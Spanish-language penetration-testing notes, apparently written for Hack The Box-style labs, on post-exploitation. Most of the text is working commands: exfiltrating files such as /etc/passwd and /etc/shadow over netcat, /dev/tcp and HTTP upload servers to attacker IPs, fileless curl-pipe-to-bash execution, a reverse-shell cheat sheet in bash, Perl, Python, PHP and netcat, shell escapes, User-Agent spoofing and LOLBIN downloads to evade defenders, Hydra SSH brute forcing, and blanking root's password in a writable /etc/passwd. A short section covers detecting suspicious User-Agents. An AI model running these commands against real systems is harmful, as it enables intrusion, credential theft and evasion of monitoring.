Una vez que esto funcione, una buena prueba es asegurarnos de que el listado de directorios no esté habilitado navegando a http://localhost/SecretUploadDirectory. Por defecto, con Apache, si encontramos un directorio sin un archivo de índice (index.html), listará todos los archivos. Esto es perjudicial para nuestro caso de exfilling de archivos, ya que la mayoría son sensibles por naturaleza y queremos hacer todo lo posible por ocultarlos. Gracias a que Nginx es minimalista, estas funciones no están habilitadas por defecto.
Durante una auditoría, muchas veces tenemos acceso a información sensible como listas de usuarios, credenciales (por ejemplo, al descargar el archivo NTDS.dit para crackeo offline), datos de enumeración que revelan detalles clave de la infraestructura de red o del entorno de Active Directory, entre otros. Por eso, es fundamental cifrar esa información o usar conexiones seguras como SSH, SFTP o HTTPS siempre que sea posible.
Sin embargo, a veces no tenemos acceso a esos canales cifrados y toca buscar otra forma de proteger los datos. En esos casos, cifrar los archivos antes de transferirlos es una buena práctica para evitar que puedan ser leídos si son interceptados.
❯ md5sum <file_name>
e7f7d2522cc7fdec3e6cc2c1e2f20819 <file_name>
cat archivo.txt | base64 -w0; echo
echo -n '<BASE64_CODE>' | base64 -d > archivo.txt
nc -nlvp 443 > archivo.txt
# En caso de disponer de bash
cat archivo.txt > /dev/tcp/10.10.x.x/443
# En caso de disponer zsh o otra shell
bash -c 'cat archivo.txt > /dev/tcp/10.10.x.x/443'
nc -nlvp 443 > archivo.txt
nc -w 3 10.10.x.x 443 < archivo.txt
python3 -m http.server 80
# Descargar archivo indicando HTTP, parámetro -o para indicar ruta donde almacenar el archivo, en caso de no indicar se almacena en el directorio actual
wget http://10.10.x.x/archivo.txt
wget http://10.10.x.x/archivo.txt -o /tmp/archivo.txt
# Descargar archivo desde la IP directamente, parámetro -o para indicar ruta donde almacenar el archivo, en caso de no indicar se almacena en el directorio actualV
wget 10.10.x.x/archivo.txt
wget 10.10.x.x/archivo.txt -o /tmp/archivo.txt
python3 -m http.server 80
# Descargar archivo indicando HTTP, parámetro -o para indicar ruta donde almacenar el archivo, en caso de no indicar se almacena en el directorio actual
curl http://10.10.x.x/archivo.txt
curl http://10.10.x.x/archivo.txt -o /tmp/archivo.txt
# Descargar archivo desde la IP directamente, parámetro -o para indicar ruta donde almacenar el archivo, en caso de no indicar se almacena en el directorio actualV
curl 10.10.x.x/archivo.txt
curl 10.10.x.x/archivo.txt -o /tmp/archivo.txt
Debido a la forma en que funciona Linux y cómo operan las tuberías (pipes), la mayoría de las herramientas que usamos en Linux pueden ser utilizadas para replicar operaciones sin archivos, lo que significa que no necesitamos descargar un archivo para ejecutarlo.
Nota: Algunos payloads, como mkfifo
, escriben archivos en el disco. Ten en cuenta que, aunque la ejecución del payload pueda ser sin archivos cuando usas una tubería, dependiendo del payload elegido, puede crear archivos temporales en el sistema operativo.
Tomemos el comando cURL
que usamos, y en lugar de descargar LinEnum.sh
, lo ejecutaremos directamente utilizando una tubería.
Fileless Download with cURL
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash
Fileless Download with wget
wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3
Hello World!
También puede haber situaciones en las que ninguna de las herramientas de transferencia de archivos más conocidas esté disponible. Siempre y cuando se tenga instalada una versión de Bash 2.04 o superior (compilada con --enable-net-redirections
), se puede utilizar el archivo de dispositivo incorporado /dev/TCP
para realizar descargas simples de archivos.
Connect to the Target Webserver
python3 -m http.server 80
exec 3<>/dev/tcp/10.10.10.32/80
HTTP GET Request
echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3
Print the Response
cat <&3
SSH
(o Secure Shell) es un protocolo que permite el acceso seguro a computadoras remotas. La implementación de SSH incluye una utilidad SCP para la transferencia remota de archivos que, por defecto, utiliza el protocolo SSH.
SCP
(secure copy) es una utilidad de línea de comandos que permite copiar archivos y directorios entre dos hosts de manera segura. Podemos copiar nuestros archivos desde la máquina local a servidores remotos y desde servidores remotos a nuestra máquina local.
SCP
es muy similar al comando cp
o copy
, pero en lugar de proporcionar una ruta local, necesitamos especificar un nombre de usuario, la dirección IP remota o el nombre DNS, y las credenciales del usuario.
Enabling and Starting the SSH Server
sudo systemctl enable ssh
sudo systemctl start ssh
Checking for SSH Listening Port
❯ netstat -lnpt
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
Ahora podemos comenzar a transferir archivos.
Linux - Downloading Files Using SCP
# Copiar el archivo /etc/passwd de la máquina atacante a la máquina víctima con SSH/SCP en el directorio actual
scp user@10.10.x.x:/etc/passwd .
# Copiar el archivo /etc/passwd de la máquina atacante a la máquina víctima con SSH/SCP en el directorio /tmp con el nombre "passwd"
scp user@10.10.x.x:/etc/passwd /tmp/passwd
Nota: Puedes crear una cuenta de usuario temporal para transferencias de archivos y evitar usar tus credenciales principales o claves en un ordenador remoto.
Python es un lenguaje de programación muy popular. Actualmente, se admite la versión 3, pero es posible que encontremos servidores en los que aún exista la versión 2.7 de Python. Python puede ejecutar comandos de una sola línea desde una línea de comandos del sistema operativo utilizando la opción -c. Veamos algunos ejemplos:
python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
En el siguiente ejemplo, utilizaremos el módulo PHP file_get_contents()
para descargar contenido de un sitio web combinado con el módulo file_put_contents()
para guardar el archivo en un directorio. PHP se puede utilizar para ejecutar comandos de una sola línea desde una línea de comandos del sistema operativo utilizando la opción -r.
php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'
Una alternativa a file_get_contents()
y file_put_contents()
es el módulo fopen()
. Podemos utilizar este módulo para abrir una URL, leer su contenido y guardarlo en un archivo.
php -r 'const BUFFER = 1024; $fremote =
fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
También podemos enviar el contenido descargado a una tubería, similar al ejemplo sin archivos que ejecutamos en la sección anterior usando cURL y wget.
php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'
perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'
nc -nlvp 443 > archivo.txt
# En caso de disponer de bash
cat archivo.txt > /dev/tcp/10.10.x.x/443
# En caso de disponer zsh o otra shell
bash -c 'cat archivo.txt > /dev/tcp/10.10.x.x/443'
cat archivo.txt | base64 -w0; echo
echo -n '<BASE64_CODE>' | base64 -d > archivo.txt
Como se mencionó en la sección de File Transfer en Windows, podemos usar uploadserver
, un módulo extendido del módulo Python HTTP.Server
, que incluye una página de carga de archivos. Para este ejemplo en Linux, veamos cómo podemos configurar el módulo uploadserver
para usar HTTPS y así asegurar la comunicación.
Lo primero que necesitamos hacer es instalar el módulo uploadserver
.
Start Web Server
sudo python3 -m pip install --user uploadserver
Ahora necesitamos crear un certificado. En este ejemplo, estamos utilizando un certificado autofirmado.
Create a Self-Signed Certificate
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
Start Web Server
mkdir https && cd https
python3 -m uploadserver 443 --server-certificate ../server.pem
Linux - Upload Multiple Files
curl -X POST https://10.10.x.x/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow--insecure
Utilizamos la opción --insecure porque usamos un certificado autofirmado en el que confiamos.
Web Upload without certificate
❯ python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
curl -X POST http://10.10.16.11:8000/upload -F 'files=@/etc/passwd'
curl -X POST http://10.10.16.11:8000/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow'
Dado que las distribuciones de Linux suelen tener Python o PHP instalados, iniciar un servidor web para transferir archivos es muy sencillo. Además, si el servidor que hemos comprometido es un servidor web, podemos mover los archivos que queremos transferir al directorio del servidor web y acceder a ellos desde la página web.
Es posible configurar un servidor web usando varios lenguajes. Una máquina Linux comprometida puede no tener un servidor web instalado. En tales casos, podemos usar un servidor web miniatura. Lo que quizás les falte en seguridad, lo compensan con flexibilidad, ya que la ubicación del webroot y los puertos de escucha se pueden cambiar rápidamente.
Linux - Creating a Web Server with Python3
python3 -m http.server
Linux - Creating a Web Server with Python2.7
python2.7 -m SimpleHTTPServer
Linux - Creating a Web Server with PHP
php -S 0.0.0.0:8000V
Linux - Creating a Web Server with Ruby
ruby -run -ehttpd . -p8000
Download the File from the Target Machine
wget 10.10.x.x:8000/filetrotransfer.txt
curl 10.10.x.x:8000/filetrotransfer.txt -o filetotransfer.txt
Nota: Cuando iniciamos un nuevo servidor web usando Python o PHP, es importante tener en cuenta que el tráfico entrante puede estar bloqueado. Estamos transfiriendo un archivo desde nuestro objetivo a nuestro host de ataque, pero no estamos subiendo el archivo.
Es posible que encontremos algunas empresas que permitan el protocolo SSH (TCP/22) para conexiones salientes, y si ese es el caso, podemos usar un servidor SSH con la utilidad scp
para subir archivos. Intentemos subir un archivo a la máquina objetivo utilizando el protocolo SSH.
File Upload using SCP
scp /etc/passwd user@10.10.x.x:/home/gzzcoo/
Nota: Recuerda que la sintaxis de scp
es similar a la de cp
o copy
.
Si queremos subir un archivo, necesitamos entender las funciones de un lenguaje de programación en particular para realizar la operación de subida. El módulo de solicitudes de Python3 permite enviar solicitudes HTTP (GET, POST, PUT, etc.) mediante Python. Podemos utilizar el siguiente código si queremos subir un archivo a nuestro servidor de subida de Python3.
❯ python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'
Dividamos esta línea en varias líneas para comprender mejor cada parte.
To use the requests function, we need to import the module first.
import requests
# Define the target URL where we will upload the file.
URL = "http://192.168.187.128:8000/upload"
# Define the file we want to read, open it and save it in a variable.
file = open("/etc/passwd","rb")
# Use a requests POST request to upload the file.
r = requests.post(URL,files={"files":file})
python3 upload.py
❯ python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
php -r '$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://192.168.187.128:8000/upload"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, ["files" => new CURLFile("/etc/passwd")]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); echo $response;'
Dividamos esta línea en varias líneas para comprender mejor cada parte.
<?php
$target_url = "http://192.168.187.128:8000/upload";
$file_path = "/etc/passwd";
// Inicializar cURL
$ch = curl_init();
// Configurar la solicitud POST con el archivo
$cfile = new CURLFile($file_path);
$post_data = ["files" => $cfile];
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Ejecutar la solicitud
$response = curl_exec($ch);
// Cerrar cURL
curl_close($ch);
// Mostrar la respuesta del servidor
echo $response;
?>
php upload.php
❯ python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
ES POSIBLE QUE SE NECESITE INSTALAR EN EL EQUIPO VÍCTIMA LA SIGUIENTE GEMA QUE NO VIENE POR DEFECTO INSTALADA EN EL SISTEMA.
gem install multipart-post
ruby -e "require 'net/http'; require 'uri'; require 'multipart/post'; url = URI.parse('http://192.168.187.128:8000/upload'); file = File.open('/etc/passwd', 'rb'); request = Net::HTTP::Post.new(url.path); request.set_form([['files', file]], 'multipart/form-data'); response = Net::HTTP.start(url.host, url.port) { |http| http.request(request) }; puts response.body"
Dividamos esta línea en varias líneas para comprender mejor cada parte.
require 'net/http'
require 'uri'
require 'multipart/post'
url = URI.parse("http://192.168.187.128:8000/upload")
file = File.open("/etc/passwd", "rb")
request = Net::HTTP::Post.new(url.path)
request.set_form([['files', file]], 'multipart/form-data')
response = Net::HTTP.start(url.host, url.port) { |http| http.request(request) }
puts response.body
ruby upload.rb
❯ python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
perl -e 'use LWP::UserAgent; use HTTP::Request::Common qw(POST); use HTTP::Request; my $url = "http://192.168.187.128:8000/upload"; my $file_path = "/etc/passwd"; my $ua = LWP::UserAgent->new; my $response = $ua->request(POST $url, Content_Type => "multipart/form-data", Content => [ "files" => [ $file_path ] ]); print $response->decoded_content;'
Dividamos esta línea en varias líneas para comprender mejor cada parte.
se LWP::UserAgent;
use HTTP::Request::Common qw(POST);
use HTTP::Request;
use File::Basename;
my $url = 'http://192.168.187.128:8000/upload';
my $file_path = '/etc/passwd';
# Crear un objeto LWP::UserAgent
my $ua = LWP::UserAgent->new;
# Crear una solicitud POST con el archivo
my $response = $ua->request(POST $url,
Content_Type => 'multipart/form-data',
Content => [
'files' => [ $file_path ]
]
);
# Mostrar la respuesta
print $response->decoded_content;
perl upload.pl
Crear objeto para jugar con ScriptBlock con las credenciales de otro usuario en otro equipo.
$SecPassword = ConvertTo-SecureString 'Password' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('domain\user',$SecPassword)
Invoke-Command -ComputerName computer -Credential $Cred -ScriptBlock { whoami }
# Desde el equipo victima convertimos el archivo 'file.bin' que no es legible a Base64
powershell -c "[convert]::ToBase64String((cat C:\\Temp\\file.bin -Encoding byte))"
[convert]::ToBase64String((cat C:\\Temp\\file.bin -Encoding byte))
# Desde el equipo atacante, descodificamos el contenido y obtenemos el archivo original. Nos hemos pasado el archivo solamente codificando en Base64.
echo '<BASE64_CODE>' | base64 -d > file.bin
type $env:USERPROFILE\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Sudoers Privileges
sudo -l
SUID
find / -perm -4000 2>/dev/null
Variables de entorno
env
Puertos internos
netstat -ano | grep LISTEN
ss -tuln
Grupos
id
Versión del Kernel
uname -a
Capabilities
getcap -r / 2>/dev/null
Desde nuestra máquina configuramos un listener para recibir la conexión inversa. Usando el comando:
nc -nlvp 443
Abrimos el puerto 443, que se asocia normalmente al tráfico HTTPS. De este modo, el firewall podría interpretar la conexión como una solicitud legítima a una página web, lo que ayuda a disimular la actividad. Cuando la máquina víctima se conecta, obtenemos una shell interactiva para ejecutar comandos remotamente.
/bin/bash -c 'bash -i >& /dev/tcp/10.10.x.x/443 0>&1'
bash -i >& /dev/tcp/10.10.x.x/443 0>&1
/bin/bash -c 'bash -i >& /dev/tcp/10.10.x.x/443 0>&1'
bash -i >& /dev/tcp/10.10.x.x/443 0>&1
/bin/bash -c '0<&196;exec 196<>/dev/tcp/10.10.x.x/443; sh <&196 >&196 2>&196'
0<&196;exec 196<>/dev/tcp/10.10.x.x/443; sh <&196 >&196 2>&196
echo -n '#!/bin/bash \n/bin/bash -c "bash -i >& /dev/tcp/10.10.x.x/443 0>&1"' > shell.sh
python3 -m http.server 80
curl 10.10.x.x/shell.sh|bash
perl -e 'use Socket;$i="10.10.x.x";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.x.x:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("10.10.x.x",443);exec("/bin/sh -i <&3 >&3 2>&3");'
nc -e /bin/sh 10.10.x.x 443
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.x.x 443 >/tmp/f
Una vez que tenemos una reverse shell, es vital configurar una TTY interactiva para trabajar de forma cómoda y segura. De esta manera, evitamos cerrar la conexión accidentalmente y ganamos la facilidad de desplazarnos con las flechas o utilizar el tab para autocompletar rutas. El proceso es muy sencillo: solo hay que ajustar la tty siguiendo estos pasos para obtener una sesión más fluida y robusta.
Desde la reverse shell obtenida, script /dev/null -c bash
transforma la sesión en una TTY interactiva.
$ script /dev/null -c bash
Script started, file is /dev/null
A continuación, hacemos Ctrl+Z
para suspender la Reverse Shell.
www-data@test:/$ ^Z
zsh: suspended nc -nlvp 443
Desde la reverse shell, con stty raw -echo; fg
recuperamos la sesión en primer plano y reset xterm
restablece la terminal para una experiencia interactiva óptima.
❯ stty raw -echo; fg
[1] + continued nc -nlvp 443
reset xterm
Exportamos las variables para que la terminal y la shell funcionen correctamente:
export TERM=xterm
corrige el valor por defecto de TERM (a veces aparece como "dump") y permite usar atajos de teclado.
export SHELL=bash
fuerza a que la shell sea bash.
www-data@test:/$ export TERM=xterm
www-data@test:/$ export SHELL=bash
Desde nuestra máquina revisaremos las dimensiones de nuestra terminal para ajustarlas en la máquina víctima.
❯ stty size
Desde la máquina configuraremos la terminal con los valores de nuestra terminal. En el caso anterior, como ejemplo nos devolvió 40 filas y 230 columnas, el comando sería el siguiente.
www-data@test:/$ stty rows 40 columns 230
python -c 'import pty; pty.spawn("/bin/sh")'
perl —e 'exec "/bin/sh";'
perl: exec "/bin/sh";
El comando anterior debe ejecutarse desde un script.
exec "/bin/sh"
El comando anterior debe ejecutarse desde un script.
os.execute('/bin/sh')
El comando anterior debe ejecutarse desde un script.
awk 'BEGIN {system("/bin/sh")}'
find / -name <file> -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
find . -exec /bin/sh \; -quit
vim -c ':!/bin/sh'
vim
:set shell=/bin/sh
:shell
La detección de comandos en línea basada en listas negras es fácil de evadir, incluso usando una simple ofuscación con mayúsculas y minúsculas. Sin embargo, aunque crear una lista blanca de todos los comandos permitidos en un entorno puede llevar tiempo al principio, es una solución muy robusta que permite detectar y alertar rápidamente sobre comandos inusuales.
La mayoría de los protocolos cliente-servidor requieren que el cliente y el servidor negocien cómo se entregará el contenido antes de intercambiar información. Esto es común en el protocolo HTTP
. Existe la necesidad de interoperabilidad entre diferentes servidores web y navegadores para asegurar que los usuarios tengan la misma experiencia sin importar el navegador que usen. Los clientes HTTP
suelen identificarse por su cadena User-Agent, que el servidor usa para saber qué cliente se está conectando, por ejemplo, Firefox, Chrome, etc.
Los User-Agent no solo se usan para identificar navegadores web, sino que cualquier cosa que actúe como cliente HTTP
y se conecte a un servidor puede tener su propia cadena User-Agent (por ejemplo, cURL
, un script en Python
, o herramientas como sqlmap
o Nmap
).
Las organizaciones pueden tomar algunas medidas para identificar posibles cadenas de User-Agent sospechosas, comenzando por crear una lista de User-Agent legítimos conocidos, los que usan por defecto los procesos del sistema operativo, los que usan los servicios de actualización como Windows Update, actualizaciones de antivirus, etc. Estas listas pueden incorporarse a herramientas SIEM para hacer threat hunting, filtrar el tráfico legítimo y centrarse en las anomalías que podrían indicar actividad sospechosa. Cualquier User-Agent sospechoso puede ser investigado más a fondo para ver si se usó para llevar a cabo acciones maliciosas. Esta página sirve para identificar cadenas de User-Agent comunes. Aquí se puede consultar una lista de User-Agent.
Las transferencias de archivos maliciosas también pueden detectarse a través de su User-Agent. A continuación, se muestran los User-Agent y cabeceras observadas en técnicas comunes de transferencia HTTP
(probado en Windows 10, versión 10.0.14393, con PowerShell 5).
Invoke-WebRequest - Client
PS C:\htb> Invoke-WebRequest http://10.10.10.32/nc.exe -OutFile "C:\Users\Public\nc.exe"
PS C:\htb> Invoke-RestMethod http://10.10.10.32/nc.exe -OutFile "C:\Users\Public\nc.exe"
Invoke-WebRequest - Server
GET /nc.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.14393.0
WinHttpRequest - Client
PS C:\htb> $h=new-object -com WinHttp.WinHttpRequest.5.1;
PS C:\htb> $h.open('GET','http://10.10.10.32/nc.exe',$false);
PS C:\htb> $h.send();
PS C:\htb> iex $h.ResponseText
WinHttpRequest - Server
GET /nc.exe HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Msxml2 - Client
PS C:\htb> $h=New-Object -ComObject Msxml2.XMLHTTP;
PS C:\htb> $h.open('GET','http://10.10.10.32/nc.exe',$false);
PS C:\htb> $h.send();
PS C:\htb> iex $h.responseText
Msxml2 - Server
GET /nc.exe HTTP/1.1
Accept: */*
Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E)
Certutil - Client
C:\htb> certutil -urlcache -split -f http://10.10.10.32/nc.exe
C:\htb> certutil -verifyctl -split -f http://10.10.10.32/nc.exe
Certutil - Server
GET /nc.exe HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
User-Agent: Microsoft-CryptoAPI/10.0
BITS - Client
PS C:\htb> Import-Module bitstransfer;
PS C:\htb> Start-BitsTransfer 'http://10.10.10.32/nc.exe' $env:temp\t;
PS C:\htb> $r=gc $env:temp\t;
PS C:\htb> rm $env:temp\t;
PS C:\htb> iex $r
BITS - Server
HEAD /nc.exe HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Encoding: identity
User-Agent: Microsoft BITS/7.8
Esta sección apenas comienza con la detección de transferencias de archivos maliciosas. Sería un excelente punto de partida para cualquier organización crear una lista blanca de binarios permitidos o una lista negra de binarios que se sabe que se utilizan con fines maliciosos. Además, la búsqueda de cadenas de agente de usuario anómalas puede ser una excelente manera de detectar un ataque en curso. Abordaremos las técnicas de búsqueda y detección de amenazas en profundidad en módulos posteriores.
Si los administradores o defensores han bloqueado alguno de estos User-Agent, el comando Invoke-WebRequest
tiene un parámetro llamado -UserAgent
que permite cambiar el valor por defecto. Podemos poner uno que imite a Internet Explorer, Firefox, Chrome, Opera o Safari.
Por ejemplo, si en la red del cliente todo el tráfico web pasa por Chrome, usar ese User-Agent puede hacer que la petición parezca legítima y así pasar más desapercibidos.
Listing out User Agents
PS C:\Users\gzzcoo> [Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | fl
Name : InternetExplorer
User Agent : Mozilla/5.0 (compatible; MSIE 9.0; Windows NT; Windows NT 10.0; es-ES)
Name : FireFox
User Agent : Mozilla/5.0 (Windows NT; Windows NT 10.0; es-ES) Gecko/20100401 Firefox/4.0
Name : Chrome
User Agent : Mozilla/5.0 (Windows NT; Windows NT 10.0; es-ES) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.500.0
Safari/534.6
Name : Opera
User Agent : Opera/9.70 (Windows NT; Windows NT 10.0; es-ES) Presto/2.2.1
Name : Safari
User Agent : Mozilla/5.0 (Windows NT; Windows NT 10.0; es-ES) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0
Safari/533.16
Invocar Invoke-WebRequest para descargar nc.exe mediante un agente de usuario de Chrome:
Request with Chrome User Agent
PS C:\gzzcoo> $UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
PS C:\gzzcoo> Invoke-WebRequest http://10.10.10.32/nc.exe -UserAgent $UserAgent -OutFile "C:\Users\Public\nc.exe"
gzzcoo@htb[/htb]$ nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.10.32] from (UNKNOWN) [10.10.10.132] 51313
GET /nc.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) AppleWebKit/534.6
(KHTML, Like Gecko) Chrome/7.0.500.0 Safari/534.6
Host: 10.10.10.32
Connection: Keep-Alive
El uso de whitelisting de aplicaciones puede impedirnos ejecutar herramientas como PowerShell o Netcat, y además, el registro de comandos puede alertar a los defensores de nuestra actividad. En estos casos, una opción útil es recurrir a un LOLBIN (Living Off The Land Binary), también conocidos como binarios de confianza mal ubicada.
Un ejemplo de LOLBIN es el GfxDownloadWrapper.exe, que forma parte de los drivers de gráficos de Intel en Windows 10. Este binario ya viene instalado en algunos sistemas y tiene la capacidad de descargar archivos de configuración de forma periódica. Podemos aprovechar esa funcionalidad para descargar archivos de forma encubierta con un simple comando como:
Transferring File with GfxDownloadWrapper.exe
PS C:\htb> GfxDownloadWrapper.exe "http://10.10.10.132/mimikatz.exe" "C:\Temp\nc.exe"
Ese tipo de binario (como GfxDownloadWrapper.exe
) puede estar permitido por las políticas de whitelisting y además no generar alertas, ya que es legítimo y forma parte del sistema.
Existen otros binarios aún más comunes que se pueden aprovechar, y por eso vale la pena revisar el proyecto LOLBAS, donde se recopilan binarios legítimos de Windows que pueden ser usados para descargar archivos, ejecutar comandos, etc.
En Linux, el equivalente es el proyecto GTFOBins, que también merece la pena revisar. A día de hoy, GTFOBins documenta casi 40 binarios comunes que pueden usarse para transferencias de archivos y otras acciones útiles en post-explotación o evasión.
SSH (Secure Shell o Secure Socket Shell) es un protocolo de red que permite una conexión segura a una computadora a través de una red no segura. Es esencial para mantener la confidencialidad e integridad de los datos al acceder a sistemas remotos.
Puerto por defecto
22/tcp open ssh syn-ack
Autenticación con credenciales
ssh user1@10.10.10.10
sshpass -p 'Password01!' ssh user1@10.10.10.10
Autenticación con clave privada
ssh -i id_rsa root@10.10.10.10
gzzcoo@htb[/htb]$ hydra -L user.list -P password.list ssh://10.129.42.197
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-10 15:03:51
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (l:5/p:5), ~2 tries per task
[DATA] attacking ssh://10.129.42.197:22/
[22][ssh] host: 10.129.42.197 login: user password: password
1 of 1 target successfully completed, 1 valid password found
En las distros Linux se pueden usar varios mecanismos de autenticación, pero uno de los más comunes y estándar es PAM (Pluggable Authentication Modules).
Los módulos principales se llaman pam_unix.so
o pam_unix2.so
, y en sistemas basados en Debian se encuentran en:
/usr/lib/x86_64-linux-gnu/security/
Estos módulos se encargan de manejar todo lo relacionado con los usuarios: autenticación, sesiones, contraseñas actuales y antiguas.
Por ejemplo, cuando usamos el comando passwd
para cambiar la contraseña, PAM se activa, toma medidas de seguridad y gestiona todo el proceso como debe ser.
El módulo pam_unix.so
usa llamadas estándar a las librerías del sistema para actualizar la info de la cuenta. Los archivos que maneja directamente son:
/etc/passwd
/etc/shadow
Además, PAM puede usar otros módulos según lo necesitemos, como para autenticación con LDAP, Kerberos, o incluso para montar recursos.
El archivo /etc/passwd
guarda información sobre todos los usuarios del sistema y puede ser leído por cualquier usuario o servicio.
Cada línea del archivo representa un usuario y está formada por siete campos, separados por dos puntos (:
), que actúan como una especie de base de datos simple.
Un ejemplo de cómo se ve una entrada típica sería algo así:
gzzcoo:x:1001:1001:Gzzcoo:/home/gzzcoo:/bin/bash
Nombre de usuario → gzzcoo
Contraseña (x) → Un x
significa que la contraseña está en /etc/shadow
UID → Identificador del usuario, por ejemplo 1001
GID → ID del grupo principal del usuario
Comentario o nombre completo → Gzzcoo
Directorio home → /home/gzzcoo
Shell por defecto → /bin/bash
El campo más interesante para nosotros en el archivo /etc/passwd
es el de la contraseña, porque puede tener diferentes valores.
En sistemas muy antiguos, es raro pero posible encontrar ahí directamente el hash de la contraseña. Si eso pasa, como el archivo es legible por todo el sistema, un atacante podría copiar ese hash y crackearlo fácilmente.
En sistemas modernos, lo normal es que ese campo tenga una x
, lo que significa que el hash real está en /etc/shadow
, un archivo mucho más protegido.
Ahora bien, si por error el archivo /etc/passwd
es escribible, podríamos vaciar el campo de contraseña del usuario root
, dejándolo así:
root:x:0:0:root:/root:/bin/bash
root:0:0:0:root:/root:/bin/bash
[cry0l1t3@parrot]─[~]$ head -n 1 /etc/passwd
root::0:0:root:/root:/bin/bash
[cry0l1t3@parrot]─[~]$ su
[root@parrot]─[/home/cry0l1t3]#
Aunque estos casos no sean tan comunes, igual hay que estar atentos porque pueden aparecer fallos de seguridad por permisos mal puestos. Hay aplicaciones que piden permisos específicos sobre carpetas enteras, y si el admin no tiene mucha experiencia con Linux o con la app, puede terminar dando permiso de escritura al directorio /etc
, y olvidarse de corregirlo después.
Eso abre la puerta a que un atacante modifique archivos críticos como /etc/passwd
, /etc/shadow
o incluso servicios.
Como leer los hashes de contraseñas puede comprometer todo el sistema, se creó el archivo /etc/shadow
, que tiene un formato similar al /etc/passwd
